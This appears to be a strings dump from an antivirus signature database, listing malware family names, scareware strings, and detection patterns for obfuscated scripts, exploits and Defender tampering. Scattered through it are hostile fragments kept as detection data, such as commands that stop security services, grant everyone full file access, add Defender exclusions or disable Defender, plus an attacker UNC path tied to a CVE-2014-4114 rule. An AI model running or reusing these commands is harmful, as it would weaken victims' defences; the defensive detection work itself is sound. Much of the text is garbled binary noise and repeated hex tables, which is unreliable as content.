Hosting|hosting Penis Enlargement|Penis Enlargement Pill Buy Viagras Adult Education Breast Enhancement Breast Enhancement] !PornDialer.CEN !PornDialer.LOS !Egroupinstantaccess.IA 
!PornDialer.ISN !Harnig.EF !QQHelper.D \t16990.com bizmd.cn/ad/ADService.asmx $96C930FD-AE94-42D0-B638-6AF8C0930FCE $B9A367EC-4DE5-402A-87CF-7DEE8ADB00E5 CreateServiceA] 
!Egroupsexdial 0@y.?X@e GBNPx MonitoringTool:Win32/Messagedetect.A $MonitoringTool:Win32/Messagedetect.A !Vundo.AH !Pushbot.DD !Slenfbot.TZ !Slenfbot.UA !Slenfbot.UD !Slenfbot.UE 
!Slenfbot.UH !Slenfbot.UB !Slenfbot.UC !Slenfbot.UF !Slenfbot.UG !Renos.B &group=adv !Wazabre.A  p@%h !Vundo.DG !Vundo.DH !Vundo.DI -zkL+ !Vundo.DJ !Vundo.DK !Vundo.DL !Vundo.DM 
!Vundo.DN !Vundo.DO !Vundo.DP !Vundo.DQ !Vundo.DR Killav.C !Vundo.DS !Vundo.FA net stop winss net stop OcHealthMon PSSj&S3 !Vundo.FB !Vundo.FC !Vundo.DT !Vundo.KE !Busky.J aV19D 
aV19D] !WinSpywareProtect !WinSpywareProtect_@*  42BD-A8CB-7E5 ://dl.%s/get/?pin= /scan.   InternetOpenAa <.php? b/html, .TUNPROTECTEDCONFIRMFORM 
.TNETATTACKDETECTIONFORM SCAN_IMG TVIRUSDESCFORMa 9func=installrun&id=%s&landing=%s&lang=%s&sub=%s&notstat=1 /pay/%s/%s/ %exportdb.php?func=update&id=%s&pid=%s 
AMFILES>\\sniffem\\sniffem.exe ?type=%s&pin=%s&lnd=%s http://dl. /get/ /get/a; antispyprotector.com+stat.php?action=%d&affid=%s&pcid=%s&abbr=%s &%s\\AntiSpyProt.exe 
$%s\\AntiSpyMon.exe $AntiSpy Protector $Policies\\Explorer NoRunat Software\\\\LastSun Ltd.\\\\ -,%s scan for malware and remove found threats 1Illegal activation code! Recheck your input data! 
UTrojan-PSW.GOPtrojan!sd5 is a malicious application that attempts to steal passwords, <IM-Flooder.ToolzY2K!sd5 is a threat that is capable to cause RThis program is a new and improved approach 
to spyware identification and removal. RThis program is a new and improved approach to spyware identification and removal.g ?=J6' amX\tN X3F c  ixe#x winspywareprotect ShellExecuteAx Installation 
of Smart Defender PRO in progress, please wait... %ssmrtdefp.exe abracadbra.jpg ids=%s&guid=%s&serial=%s&ntid=%s&build=%s func=scanfinished&id=%s exportdb.php?
func=update&id=%s&pid=%s func=install& puid=%s& iplanding=%s 589;Win32/Rbot.IDN;Backdoor;4;Win32/Rbot.IDN is an IRC controlled backdoor vbase.bak vbase.dat vbase.tmp Update download 
complete Error occurs while downloading update: Error occurs while downloading update:x ee\td8 .winspywareprotect  .WinSpywareProtect .com/addon/ .com/stat.php .malwarrior .com/addon \\Adsl 
Software Limited\\WinSpywareProtect \\Adsl Software Limited\\MalWarrior Software\\Adsl Software Limited\\Installer WinSpywareProtect installer WinSpywareProtect installerx Trojan.Folderfu!sd5 is a 
malicious program that does not infect other files but may represents security Worm.Small!sd5 is a network-aware worm that attempts to replicate across the existing network. Windows Security Center 
reports that %s is not registered ,%s scan for malware and remove found threats actDeleteVirusExecute% acIESniffer1WBFileDownload C:\\TEMP\\Upgrader3.exe http://www.avpro-labs.com/buy.html 
http://www.avpro-labs.com/buy.htmlx Ni=%s&g=%s&s=%s&n=%s&b=%s&z=%i&h=%i&o=OK kljhflk73#OO#*U$O(*YO PInstallation in progress, please wait... .com/dp/ pic.jpg 
Nw=%s&g=%s&x=%s&u=%s&n=%s&p=%i&s=%i&l=OK .net/dp/ .in/dp/ %ssdp.exe MT)V: tj F!d 2+Kv \\SmartDefender PRO.lnk_ \\WinSpywareProtect.lnk_ \\Virus Remover Pro..lnk_ \\Smart Defender 
PRO.lnk_ \\Antispy Protector 20??.lnk_ \\Computer Defender 20??..lnk_3 \\crucialsoft ltd\\ms antispyware 2009\\msas2009.exe_D \\solt lake software\\pro antispyware 
2009\\log\\?????????????????.log_J \\Computer Defender 20??..lnk_3#\\crucialsoft ltd\\ms antispyware 2009\\msas2009.exe_D#\\solt lake software\\pro antispyware 
2009\\log\\?????????????????.log_J \\Microsoft\\Internet Explorer\\Quick Launch\\Virus Remover Professional.lnk` \\LastSun Ltd` #\\LastSun Ltd` \\burstwriting` &\\burstwriting` \\AV AntiSpyware` 
\\Extra Antivirus` \\CrucialSoft Ltd` #\\CrucialSoft Ltd` \\P Antispyware 09` &\\P Antispyware 09` \\SmartDefender PRO` \\winspywareprotect` &\\winspywareprotect` \\Smart Defender PRO` \\Tally 
software LTD` #\\Tally software LTD` \\solt lake software` #\\solt lake software` \\pro antispyware 20??` \\adsl software limited` #\\adsl software limited` \\Antispy Protector 20??` \\Computer Defender 
20??` &\\Computer Defender 20??` \\Programs\\winspywareprotect` \\Virus Remover Professional` \\Virus Remover Professionalc &\\Virus Remover Professionalc Software\\BurstWriting 
Software\\BurstWritingc Software\\CrucialSoft Ltd Software\\CrucialSoft Ltdc+ Software\\CrucialSoft Ltd\\upd\\\\Started %Software\\CrucialSoft Ltd\\upd\\\\Startedc2 
Software\\Classes\\BurstWriting.BurstWriting.1 ,Software\\Classes\\BurstWriting.BurstWriting.1c7 SOFTWARE\\CrucialSoft Ltd\\MS AntiSpyware 2009\\\\lid 1SOFTWARE\\CrucialSoft Ltd\\MS 
AntiSpyware 2009\\\\lidcI Software\\Solt Lake Software\\Pro Antispyware 2009\\???\\\\Start Counter CSoftware\\Solt Lake Software\\Pro Antispyware 2009\\???\\\\Start CountercL software\\Solt Lake 
Software\\Pro Antispyware 2009\\???\\config\\\\(default) Fsoftware\\Solt Lake Software\\Pro Antispyware 2009\\???\\config\\\\(default)c_ Software\\Microsoft\\Windows\\CurrentVersion\\uninstall\\Pro 
Antispyware 2009 ???\\\\DisplayName YSoftware\\Microsoft\\Windows\\CurrentVersion\\uninstall\\Pro Antispyware 2009 ???\\\\DisplayName] !Vundo.FD !Vundo.FE !Vundo.FF !Vundo.FG !Vundo.FH 
!Vundo.FI !Vundo.FJ /go/?cmp=hstwtch red_green_test red_green_test] !Zlob.ANE if exist \"%s\" goto Repeat Software\\NetProject %s\\zf%s%d.exe _cls%d.bat   /music.php?param= .chl\\CLSID  
yahoo.google.] !Vundo.FK !Vundo.FL !Vundo.FM !Vundo.FN !Vundo.FO !Renos.gen!AJ {78B578D7-BCE1-4d83-9CD4-195BC34D8CB3} '{78B578D7-BCE1-4d83-9CD4-195BC34D8CB3} *** STOP: 
0x0000008E (0xC00 00005,0X8056EBA4,0xF7DD399C,0x00000000) *** STOP: 0x0000008E (0xC0000005,0X8056EBA4,0xF7DD399C,0x00000000)] !Vundo.FP !Slenfbot.UI !Slenfbot.UJ !Vundo.FQ 
!Vundo.FT !Vundo.FV !Vundo.FS !Vundo.FR !Pushbot.DE !Slenfbot.UK !Slenfbot.UL !Vundo.FW !Slenfbot.UM !Vundo.FX !Vundo.FY !Vundo.FZ !Vundo.FAA !Vundo.FAB !Zlob.AMQ 
GetSystemDefaultLCID #785ujthgfrw34676utyj !Bagle.SE !Renos.FB !Vundo.FAC !Vundo.FU !Conhook.J !Conhook!dam MonitoringTool:Win32/RevealerKeylogger 
&MonitoringTool:Win32/RevealerKeylogger ,Revealer Keylogger Pro _LowLevelKeyboardProc@ _LowLevelKeyboardProc@g BB\")J CompanyNamewww.revealerkeylogger.com 
FileDescriptionRevealer Keylogger Revealer is currently monitoring, are you sure you want to quit 3www.revealerkeylogger.com ProductNameRevealer Keylogger 3Revealer Keylogger report 
rkfree.exe  \\rvlkl] #\\rvlkl] !Matcash.gen!H !Vundo.FAD !Lowzones.GU !Small.AABA !Slenfbot.UN !Small.HC !Small.HD cmd /c cacls %s /e /p everyone:f killrdog killerdog killdog killrdogkillerdogkilldog 
%ProgramFiles%\\Outlook Express\\msoeres2.dll WinExec] !Small.HH d3bYF. fCPmc nA%0A l3\\`\\ bsZjd 7Zdv$W V7y;O fn*=- 4\"5bR 2DE[d l)|z2 5sHYUPG ,\\\\ ; ip%xl {k'z) gJ9I ( #[]M$ cbQpD W^?
q8 \"Q\"][ k6L7z yp7Hn #r*Ik z_W-- o(H4F HujnJ- M8Hr\t p'O#}\t  7Kn) F1tt| ^f2ea HJZzp V}b4A sCyb# wwaf5R4 R:sf; OYqMtA \t W YR 04Wt1 _uCq]a #Q;YD !CxZd} !~KnF W@T$ \\A_GK XdY\"HZ J 
!#SCPT:JS/Obfuscator.LongNames.B J!!#SCPT:VirTool:SWF/Obfuscator.F.2 J#!#SCPT:JS/Obfuscator.Split.length.A \"le\") #!#SCPT:JS/Obfuscator.SplitReverse.A 
J#!#SCPT:JS/Obfuscator.SplitReverse.A .split('').reverse().pop() J$!#SCPT:JS/Obfuscator.DecimalString.A 0-9\") &!#BRUTE:Exploit:Python/CVE-2017-0143.6 J&!#BRUTE:Exploit:Python/CVE-2017-
0143.6 got good ECHO responses '!#SCRIPT:Exploit:Win32/CVE-2014-4114-ip J'!#SCRIPT:Exploit:Win32/CVE-2014-4114-ip \\\\37.143.15.171\\update 
J,!#SCPT:JS/Obfuscator.Split.InnerAssignment.A ; return '\",\" J-!#SCPT:JS/Obfuscator.Redundancy.EmptyQuotes.A +\"\"+(\" 1!#SCPT:JS/Obfuscator.BASE64EncScript.saveToFile.A 
J1!#SCPT:JS/Obfuscator.BASE64EncScript.saveToFile.A c2F2ZVRvRmls !#BRUTE:NSISInetc /MainSection \\nsWeb.dll \\nsWeb.dllhttp:// !#TELPER:FileTourInno.A dll:files:license.key 
itd_downloadfile )dll:files:license.keyitd_downloadfile \"%\"+\"T $\"%\"+\"T !#SCPT:JS/Obfuscator.Spaced.D }       #}        }      }     #\"G\" +  , \"http\"  , \"http\"  () +  \"GE\" +  #\"GE\" +  , \"htt\"  , \"htt\" #\"GE\" 
, \"htt\" +   , \"htt\" +  !#ALF:Trojan:Python/Banker.VC2 lambda \"lambda  [1]^  [0]% !#SCPT:JS/BASE64.Compression.U QwBvAG0AcAByAGUAcwBzAGkAbwBuAC4A 
\"QwBvAG0AcAByAGUAcwBzAGkAbwBuAC4A bQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUA \"bQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUA bwBtAHAAcgBlAHMAcwBpAG8AbgAuAEQA 
\"bwBtAHAAcgBlAHMAcwBpAG8AbgAuAEQA !#SCPT:JS/Obfuscator.HexMixed.F Dir%5B%22open%22%5D%28%22GET%22 !Dir%5B%22open%22%5D%28%22GET%22 K 
!#Trojan:PowerShell/Reflection.A System.Reflection.AssemblyName  System.Reflection.AssemblyName K#!#SCPT:JS/Obfuscator.Split.String.A St\"+\"r K#!#SCPT:JS/Obfuscator.Split.length.A \"ngt\" 
%!#SCPT:PossiblyClean:AdminTools.URL.A K%!#SCPT:PossiblyClean:AdminTools.URL.A admintools.3utilities.com K'!#SCPT:JS/Obfuscator.Capslock.WScript.A PT.sH Pt.SH Pt.Sh Pt.sH Pt.sh RIPt. 
RIpT. RIpt. RiPT. RiPt. RipT. Ript. pT.SH pT.Sh pT.sH pT.sh pt.sH rIPT. rIPt. rIpT. rIpt. riPT. riPt. ripT. +!#BRUTE:Python/Leivion.C.CreateRemoteThread 
K+!#BRUTE:Python/Leivion.C.CreateRemoteThread +!#BRUTE:Python/Leivion.C.WriteProcessMemory K+!#BRUTE:Python/Leivion.C.WriteProcessMemory 
K,!#SCPT:JS/Obfuscator.Split.InnerAssignment.A +='=\" ] = '= ]='=\" /!#SCPT:JS/Obfuscator.Reversed.ExecutionPolicy.A K/!#SCPT:JS/Obfuscator.Reversed.ExecutionPolicy.A yciloPnoitucexE 
!#SCRIPT:FakeCert!AT !#SCRIPT:FakeCert!Ce !#SCRIPT:FakeCert!MS !#SCRIPT:FakeCert!OT !#SCRIPT:FakeCert!VS !#SCPT:s_codescript.A You may add or alter any code config here. ,You may 
add or alter any code config here. $\"G\" +  , \"http:\"  , \"http:\" Bad offset for JScript BYTE read. #Bad offset for JScript BYTE read. A-Za-z_  !#Exploit:Win32/CVE-2015-0097.A1 L 
!#Exploit:Win32/CVE-2015-0097.A1 MSScriptControl.ScriptControl.1 !MSScriptControl.ScriptControl.1  !#SCPT:TeslaCryptEncryptedFile.1 L !#SCPT:TeslaCryptEncryptedFile.1 
\"!#SCPT:JS/Obfuscator.LongVarName.C L\"!#SCPT:JS/Obfuscator.LongVarName.C ()[0] +  #!#//SCPT:DigitalSignature.COMODO.CA L#!#//SCPT:DigitalSignature.COMODO.CA COMODO RSA 
Code Signing CA L#!#SCPT:JS/Obfuscator.Split.concat.A 'c'+\"o L$!#SCPT:JS/Obfuscator.DecimalString.A \")] =  L,!#SCPT:JS/Obfuscator.Split.InnerAssignment.A : 'var  '}[' 000273626a7702 
010372636b7603 02007160687500 03017061697401 040677666e7306 050776676f7207 060475646c7104 070574656d7005 080a7b6a627f0a 090b7a6b637e0b 0a087968607d08 0b097869617c09 
0c0e7f6e667b0e 0d0f7e6f677a0f 0e0c7d6c64790c 0f0d7c6d65780d 101263727a6712 111362737b6613 12106170786510 13116071796411 141667767e6316 151766777f6217 161465747c6114 
171564757d6015 181a6b7a726f1a 191b6a7b736e1b 1a186978706d18 1b196879716c19 1c1e6f7e766b1e 1d1f6e7f776a1f 1e1c6d7c74691c 1f1d6c7d75681d 303243525a4732 313342535b4633 
32304150584530 33314051594431 343647565e4336 353746575f4237 363445545c4134 373544555d4035 383a4b5a524f3a 393b4a5b534e3b 3a384958504d38 3b394859514c39 3c3e4f5e564b3e 
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32304150584530 33314051594431 343647565e4336 353746575f4237 363445545c4134 373544555d4035 383a4b5a524f3a 393b4a5b534e3b 3a384958504d38 3b394859514c39 3c3e4f5e564b3e 
3d3f4e5f574a3f 3e3c4d5c54493c 3f3d4c5d55483d 404233222a3742 414332232b3643 42403120283540 43413021293441 444637262e3346 454736272f3247 464435242c3144 474534252d3045 
484a3b2a223f4a 494b3a2b233e4b 4a483928203d48 4b493829213c49 4c4e3f2e263b4e 4d4f3e2f273a4f 4e4c3d2c24394c 4f4d3c2d25384d 505223323a2752 515322333b2653 52502130382550 
53512031392451 545627363e2356 555726373f2257 565425343c2154 575524353d2055 585a2b3a322f5a 595b2a3b332e5b 5a582938302d58 5b592839312c59 5c5e2f3e362b5e 5d5f2e3f372a5f 
5e5c2d3c34295c 5f5d2c3d35285d 606213020a1762 616312030b1663 62601100081560 636110010 \\appdata\\locallow\\{........%-....%-....%-....%-............} =\\appdata\\locallow\\{........%-....%-....%-....%-
............}  Lua:BedepFileName.A cryptbase.dll Lua:BedepFileName.B api-ms- Lua:BedepFileName.C \\programdata\\{9a88e103-a20a-4ea5-8636-c73b709a5bf8} 4\\programdata\\{9a88e103-a20a-
4ea5-8636-c73b709a5bf8} \\programdata\\{f66cb4ee-546f-4d54-9332-216de189aab0} 4\\programdata\\{f66cb4ee-546f-4d54-9332-216de189aab0} \\programdata\\{698e0848-6d29-4305-80dc-
e8d609260ce2} 4\\programdata\\{698e0848-6d29-4305-80dc-e8d609260ce2} \\programdata\\{49a0bac7-3326-4433-9373-4aa8793abb5c} 4\\programdata\\{49a0bac7-3326-4433-9373-4aa8793abb5c} 
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scan_zlob4 TrojanDownloader:Win32/Zlob.APO scan_zlob4TrojanDownloader:Win32/Zlob.APOA scan_zlobcrypt Trojan:Win32/Zlob.gen!encrypted scan_zlobcryptTrojan:Win32/Zlob.gen!encrypted@ 
scan_zlob_l TrojanDownloader:Win32/Zlob.gen!L scan_zlob_lTrojanDownloader:Win32/Zlob.gen!L- scan_zmorph Win95/Zmorph.B scan_zmorphWin95/Zmorph.B- scan_fusion_dll fusion_dll 
scan_fusion_dllfusion_dll7 scan_prifou_manifest prifou_manifest scan_prifou_manifestprifou_manifest- scan_GenPe GenPeClassifier scan_GenPeGenPeClassifier5 ! ;R)+XccH Ai ]g vgdpY jlvss3 
vjsTi@ /T#hk'  ?UL\" u}1@U i[u_(n _}9sv\t o7 qgF # OO=\tk 0izU1 y{0`` -Dlk! F3j_~ }6:[MgWs VY[ag \"QL[@ +<@Aq :[VK'J srq\"i6  z-]o wu\"~b S(Nd3 U!B'h< ?rOVr HXx-n 3-,@@cF m-6d[ ,i@OP) 
8DM,- a[rqe j#P$\" ARBJzp hG%W+ buE2Z Sq7O;0 6A0;8 @2 6U +.Qabn [+9I] I?\"#% C@ ?! '*C@ ?!()/ <l?S? .`1>! Vc.`1>!WX C@ ?! T? (+^ l?S? l?S? < > =>\t ?&AX= >$BVm_ =\"CHD 1`i> M1`i> 
m&?%07, = AGjL FP6o> 5=#O_ l?S?  >%Z[xN fgbzI< jrh{q> NZ ?  ,Z&=  37.`1> 5fY ? >$AMw C@ ?! BHC@ ?!CG F_?F> ik1`i> ry.>\" Y?&#4 >\t:KQ A>%>Hc >\"DFh .vD>\t Nf^,9? aXN?\t aXN?\tPd? 
Jb?%W \\_~!> F12?# $>%(*. I<)?# )I<)?# >&7gw ;> DE ?\"]bh ? ht* ?!ilz > ms} 3^\t?  z{3^\t?  ?%$\\^ <>&12 U.`1> s?&`h 3O3x>  *r_> > ',oL 2{>&4rPg ?  ?#z{ l?S? %_.&= Ef=\"-/< A>\"9: >&=P_@ 
BE\"^?!C >\tYdk#e? 2# ?\" i2# ?\"j ppdata\\local\\seclore\\filesecure\\filesecure lite\\pptlauncher.exe %userprofile%\\appdata\\local\\seclore\\filesecure\\filesecure lite\\xlslauncher.exe 
O%userprofile%\\appdata\\local\\seclore\\filesecure\\filesecure lite\\xlslauncher.exe %userprofile%\\appdata\\local\\sogouexplorer\\sogouexplorer.exe 
<%userprofile%\\appdata\\local\\sogouexplorer\\sogouexplorer.exe %userprofile%\\appdata\\local\\vivaldi\\application\\vivaldi.exe <%userprofile%\\appdata\\local\\vivaldi\\application\\vivaldi.exe 
%userprofile%\\appdata\\local\\vivaldidev\\application\\vivaldi.exe ?%userprofile%\\appdata\\local\\vivaldidev\\application\\vivaldi.exe 
%userprofile%\\appdata\\local\\yandex\\yandexbrowser\\application\\browser.exe I%userprofile%\\appdata\\local\\yandex\\yandexbrowser\\application\\browser.exe 
%userprofile%\\appdata\\local\\yesware\\yesware for outlook\\yeswareshadow\\yeswarechromium.exe Z%userprofile%\\appdata\\local\\yesware\\yesware for 
outlook\\yeswareshadow\\yeswarechromium.exe %userprofile%\\appdata\\local\\yesware\\yesware for outlook\\yeswareshadow\\yeswarechromiumx64.exe 
]%userprofile%\\appdata\\local\\yesware\\yesware for outlook\\yeswareshadow\\yeswarechromiumx64.exe %userprofile%\\appdata\\locallow\\copitrak\\tstpfltk.exe 
5%userprofile%\\appdata\\locallow\\copitrak\\tstpfltk.exe %userprofile%\\appdata\\roaming\\360se6\\application\\360se.exe ;%userprofile%\\appdata\\roaming\\360se6\\application\\360se.exe 
%userprofile%\\appdata\\roaming\\icrm\\desktop connection for sap crm\\bin\\appdiag.exe R%userprofile%\\appdata\\roaming\\icrm\\desktop connection for sap crm\\bin\\appdiag.exe 
%userprofile%\\appdata\\roaming\\infoslipsforme\\infoslips.viewer.exe B%userprofile%\\appdata\\roaming\\infoslipsforme\\infoslips.viewer.exe %userprofile%\\appdata\\roaming\\microsoft\\addins 
/%userprofile%\\appdata\\roaming\\microsoft\\addins %userprofile%\\appdata\\roaming\\onetastic\\onecal.exe 3%userprofile%\\appdata\\roaming\\onetastic\\onecal.exe 
%userprofile%\\appdata\\roaming\\oracle\\crm ondemand desktop\\bin\\appdiag.exe J%userprofile%\\appdata\\roaming\\oracle\\crm ondemand desktop\\bin\\appdiag.exe 
%userprofile%\\appdata\\roaming\\oracle\\oracle sales cloud for outlook\\bin\\appdiag.exe T%userprofile%\\appdata\\roaming\\oracle\\oracle sales cloud for outlook\\bin\\appdiag.exe 
%userprofile%\\appdata\\roaming\\vision\\updater.exe 1%userprofile%\\appdata\\roaming\\vision\\updater.exe %userprofile%\\appdata\\roaming\\watchdox\\windows plugin\\pdflauncher.exe 
F%userprofile%\\appdata\\roaming\\watchdox\\windows plugin\\pdflauncher.exe %userprofile%\\appdata\\roaming\\webex\\applications\\ptupdate.exe 
>%userprofile%\\appdata\\roaming\\webex\\applications\\ptupdate.exe %userprofile%\\appdata\\roaming\\zoom\\bin\\zoom.exe 0%userprofile%\\appdata\\roaming\\zoom\\bin\\zoom.exe 
%userprofile%\\appdata\\roaming\\zoom\\bin_00\\zoom.exe 3%userprofile%\\appdata\\roaming\\zoom\\bin_00\\zoom.exe %programdata%\\webex %systemdrive%\\apps\\notes\\notes.exe 
#%systemdrive%\\apps\\notes\\notes.exe %systemdrive%\\axpointaddin\\eowp.exe $%systemdrive%\\axpointaddin\\eowp.exe %systemdrive%\\gendox\\teams\\common\\bin 
&%systemdrive%\\gendox\\teams\\common\\bin %systemdrive%\\lotus\\notes\\notes.exe $%systemdrive%\\lotus\\notes\\notes.exe %systemdrive%\\notes\\notes.exe %windir%\\explorer.exe 
%windir%\\hh.exe %windir%\\microsoft.net\\framework !%windir%\\microsoft.net\\framework %windir%\\microsoft.net\\framework64 #%windir%\\microsoft.net\\framework64 %windir%\\notepad.exe 
%windir%\\system32\\bdeunlock.exe  %windir%\\system32\\bdeunlock.exe %windir%\\system32\\bucappnt.exe %windir%\\system32\\bumappnt.exe %windir%\\system32\\bupappnt.exe 
%windir%\\system32\\conhost.exe %windir%\\system32\\ctfmon.exe %windir%\\system32\\dwwin.exe %windir%\\system32\\eventvwr.exe %windir%\\system32\\fondue.exe 
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%windir%\\system32\\fontview.exe %windir%\\system32\\igfxem.exe %windir%\\system32\\igfxhk.exe %windir%\\system32\\igfxtray.exe %windir%\\system32\\ime 
%windir%\\system32\\microsoft.uev.synccontroller.exe 3%windir%\\system32\\microsoft.uev.synccontroller.exe %windir%\\system32\\mspaint.exe %windir%\\system32\\notepad.exe 
%windir%\\system32\\prevhost.exe %windir%\\system32\\rmactivate.exe !%windir%\\system32\\rmactivate.exe %windir%\\system32\\runtimebroker.exe $%windir%\\system32\\runtimebroker.exe 
%windir%\\system32\\spool\\drivers  %windir%\\system32\\spool\\drivers %windir%\\system32\\tokenbrokercookies.exe )%windir%\\system32\\tokenbrokercookies.exe %windir%\\system32\\verclsid.exe 
%windir%\\system32\\werfault.exe %windir%\\system32\\wermgr.exe %windir%\\system32\\wevtutil.exe %windir%\\system32\\wfs.exe %windir%\\system32\\wisptis.exe 
%windir%\\system32\\xpsrchvw.exe %windir%\\system32\\cmtrace.exe %windir%\\systemapps\\*\\microsoftedgecp.exe *%windir%\\systemapps\\*\\microsoftedgecp.exe 
%windir%\\syswow64\\colorcpl.exe %windir%\\syswow64\\ctfmon.exe %windir%\\syswow64\\dwwin.exe %windir%\\syswow64\\eventvwr.exe %windir%\\syswow64\\explorer.exe 
%windir%\\syswow64\\fondue.exe %windir%\\syswow64\\fontview.exe %windir%\\syswow64\\ime %windir%\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe 
>%windir%\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe %windir%\\syswow64\\mspaint.exe %windir%\\syswow64\\notepad.exe %windir%\\syswow64\\prevhost.exe 
%windir%\\syswow64\\rmactivate.exe !%windir%\\syswow64\\rmactivate.exe %windir%\\syswow64\\spool\\drivers  %windir%\\syswow64\\spool\\drivers %windir%\\syswow64\\verclsid.exe 
%windir%\\syswow64\\werfault.exe %windir%\\syswow64\\wermgr.exe %windir%\\syswow64\\xpsrchvw.exe %windir%\\winsxs\\*\\iexplore.exe %windir%\\winsxs\\*\\splwow64.exe b((windowsapps\\\\
[^\\\\]+\\\\)|(microsoft office\\\\(root\\\\)?))office..\\\\[^\\.]+\\.exe\\\"?[^\\\"]+\\\"([^\\\"]+)\\\"z !#SLF:LanchAfterDropBySystemDL   !#SLF:SystemDropUnsignedDL 
\t!#SLF:SystemDropUnsignedDLObMpAttributes   RDPSettings UA=([%d]+);SL=([%d]+) HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services 
>HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services UserAuthentication HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp 
JHKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp SecurityLayer 25b32647191d GenericSystemWinlogon 15b3a6addbb7  
*DCO_MpDisableScanReparsePointsOfflineFiles  [3*DCO_MpDisableScanReparsePointsOfflineFiles VmProcessProtectiont ?(1,0),%system%\\mptest_82dd78f6-8040-42f6-8782-de38fb81001e.exe*
(0,0xffffffffffffffff),%system%\\csrss.exe*(0,0xffffffffffffffff),%system%\\lsass.exe (0,-1),%system%\\winlogon.exez .*Win32/Xiazai.* .*Win32/Xeelyak.* .*MSIL/Solorigate.* !#BM_VulnWerfaultSecure 0 
WerFaultSecure.exe was started. Secure mode = %d EncryptDumpStream 25b36a253424 25b3752175c5 8bb35d817f3d \\schtasks.exe 93b3282b8218  93b39c9ea06d  527885de44e1 
WerFaultSecure.exe  WerFaultSecure Windows Fault Reporting  get_fixedversioninfo shr64 SetOriginalFileName VulnWerFaultSecureExe.exe !#Lua:SusPathExec 
|.exe|.scr|.cpl|.bat|.com|.cmd|.pif|.ps1|.vbs| /|.exe|.scr|.cpl|.bat|.com|.cmd|.pif|.ps1|.vbs| :\\recycle  :\\$.recycle.bin Lua:NewAutoExec.AA  \\syswow64  Lua:NewAutoExec.BA %PROGRAMFILES% 
\\common files  (x86)\\common files Lua:NewAutoExec.CA %TEMP% Lua:NewAutoExec.DA \\appdata \t\\appdata  Lua:NewAutoExec.EA Lua:NewAutoExec.EAz !#SCRIPT:AddExclusionPaths \"add-
mppreference exclusionpath !#SCRIPT:GetExclusionPaths get-mppreference \"get-mppreference !#SCRIPT:RemExclusionPaths remove-mppreference %remove-mppreference 
!#SCRIPT:AddExclusionProcess %add-mppreference exclusionprocess !#SCRIPT:GetExclusionProcess %get-mppreference !#SCRIPT:RemExclusionProcess (remove-mppreference 
!#SCRIPT:AddExclusionExtension 'add-mppreference exclusionextension !#SCRIPT:GetExclusionExtension 'get-mppreference !#SCRIPT:RemExclusionExtension *remove-mppreference 
%!#SCRIPT:MpTamperAmsiExcludeDrivePath )U%!#SCRIPT:MpTamperAmsiExcludeDrivePath add-mppreference-exclusionpath %add-mppreference-exclusionpath 
!!#SCRIPT:PsDisableDefenderFeature )_!!#SCRIPT:PsDisableDefenderFeature disable-windowsoptionalfeature 3disable-windowsoptionalfeature @windows-defender 
$!#SCRIPT:PsDisableDefenderSubFeature )c$!#SCRIPT:PsDisableDefenderSubFeature 4disable-windowsoptionalfeature @windows-defender- ,!#ALF:VirTool:PowerShell/MpQueryExclusions.B 
)p,!#ALF:VirTool:PowerShell/MpQueryExclusions.B get-childitem 9get-childitem @\\microsoft\\windowsdefender @exclusions !#MpIsSENSEScan SCANSOURCE_SENSE !#MpIsSENSEScanPE 
76b32985ed5c  SECURITY_MANDATORY_HIGH_RID !#TEL:Lua:SENSEDownloadLocalLow !#TEL:Lua:SENSEDownloadLocalLowObMpAttributes `|z]h roc![  .e?hCJ gL{* |xKSQ N2NKU  SA{+ iBLx[t 
ZOt=' 9D\\iA ,| !e )/A@ qy15I ,wNQUv J!;*L 6L'GB$ zJ-'a lyO%F \\\",-MP (uA*6 P>lK3 p\"Cop T6Kf\t qK1gH3 #aR6Q .*?KN= %o?AZ GZeoI RY<pl. B ^&r !ks3 / Ph\".^ %,qI*Hyn &H X&G- u]ybd \\Oh)ch 
\\Oh)chW4 m8_;YI 8q?LG-C6 7>y:C PRQ6' +vYDs_ E7?eg 4\tASC ]2QD~ O9c K b7R@bt`x B<cAl CnT l V>#dO? 3 %z.0p eKsL< d8bj] LF l&n ]y 07A B([1B] \\z9/yg P Zwc 9~)@^ 1!|rx DCVJ] 
!#ALF:Trojan:Win32/BerBioos.A !#ALF:Trojan:Win64/Reductor.B !#PUA:Block:RelevantKnowledge !#SIGATTR:PWS:Win32/Jauxeer.B !#SIGATTR:Win32/FileException 
!#SIGATTR:Win32/FileException'0 !#SIGATTR:JS/Obfuscator.Php.A !#SIGATTR:JS/Obfuscator.Php.A R !#SIGATTR:MPK !#//JAVATTR:JavaObsubstringappendintegerdecode 
!#//JAVATTR:JavaObsubstringappendintegerdecode P- U& P- [#/*s 0u\\1 0u\\1 @ !#ALF:JASYP:TrojanDownloader:Win32/Ymacco!atmn !#SIGATTR:TrojanDownloader:Win32/Banload.gen!W 2Jbv# 
02Jbv# 02Jbv#@ !#ALF:SIGA:TrojanDownloader:MSIL/Genmaldow.S11 ;`q5@ !#ALF:VirTool:MSIL/GenerateSharpPELoader.B!MTB !#ALF:VirTool:MSIL/NamedPipeServerHelper.A!MTB 
!#SIGATTR:Possible_Injector_v2 !#SIGATTR:Possible_Injector_v2Q !#ALF:Meterpreter.ConnectAlloc  K0 M !#ALF:Trojan:Win32/Qbot.ZY!MTB !#SIGATTR:PWS:Win32/Ldpinch.BD 
!AGroup:CreateProcess_WinProcs !#SIGATTR:JS/Obfuscator.Ping.A !#SIGATTR:JS/Obfuscator.Ping.A R !#ATTRIBUTE:SIGA:MSIL:EMAIL:S1 !#SIGATTR:SetWinStateForm!msil 
!#SIGATTR:VideoWmiCaption!msil r` m` !#SLFPER:MSIL/AsmblyLoadInvoke !#SLFPER:MSIL/AsmblyLoadInvoke!(` !#SIGATTR:Ladivyrop.Woyaohuchi 
!#ALF:JASYP:TrojanDownloader:Win32/Banload!atmn !#//SIGATTR:Java.allPermissions PA%oL !#ALF:JASYP:PWS:Win32/Lmir!atmn !#ALF:Trojan:Win32/Delf.CEE!MTB 
